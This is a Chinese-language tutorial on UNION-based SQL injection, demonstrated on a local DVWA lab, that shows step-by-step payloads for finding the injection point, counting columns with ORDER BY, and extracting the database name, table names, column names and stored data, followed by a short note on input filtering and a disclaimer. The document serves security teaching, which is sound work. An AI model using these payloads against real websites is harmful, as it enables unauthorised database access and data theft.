SQL注入漏洞之联合(union)注入
学习SQL注入首先要对一些常见的SQL语法有一定的了解,这样我们在使用SQL注入漏洞攻击对方时才能游刃有余。
SQL注入原理:SQL注入之所以得以存在主要是因为WEB应用程序对用户输入的数据没有进行有效的判断和过滤,从而导致用户的恶意SQL语句从前端传到后端,最后实现了对数据的窃取和破环。
首先要实现SQL注入漏洞必须要满足一定的条件。其一,前端传到后端的数据内容是用户可以控制的,如果这些数据不是用户可以控制的话SQL注入漏洞就无从谈起。其二:用户输入的参数可以拼接的SQL语句中,并且可以被执行。
Union联合注入:
在拿到一个网站后,我们便要判断注入点。首先我们要判断注入点是字符类型还是整型。
下图为演示效果图。
输入id=1时:
输入id=1 and 1=1 和 id=1and 1=2:
由于1=1 为真 1=2 为假,但是页面返回的结果都是为id=1的查询结果。所以注入点的类型应该是字符型,接下来我们验证是否是字符型。
输入id =1’ and ‘1’=’1和id =1’ and ‘1’=’2
我们可以看到当id =1’ and ‘1’=’2是页面没有结果,因此验证了我们的猜想。
判断该表中的字段数。我们用order by 推测。
在输入id=1’ order by 4#后网页提示没有第四列。
在输入id=1’ order by 2#后网页显示正常。
因此,我们可以判断该表有2列。
使用union确定可以输入SQL语句的位置。
我们可以看到1,2位置我们可以输入SQL语句。
4、获取数据库名。0' union select database(),2#
获取当前数据库的所有表名。
0' unionselect (select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1),2#
我们可以看到第一个表名为guestbook。
获取表的字段名。
0' union select (select column_name from information_schema.columns wheretable_name='guestbook' and table_schema='dvwa' limit 0,1),2 #
我们可以看到guestbook表的第一个字段名为comment_id。
获取字段对应的数据。
0' union select(select comment from dvwa.guestbooklimit 0,1),2 #
防御手段:
对用户输入的内容进行的合法性进行判断,过滤掉一些关键词和一些特殊符号比如’ “ ()# 等等。
注:
·本文所有演示均为本地虚拟环境,讲解只是为了读者更好地理解漏洞原理,以达到保护信息安全的目的,请勿用于非法用途!
·严禁利用本文中所提到的技术和漏洞进行非法攻击,否则后果自负,作者将不承担任何责任!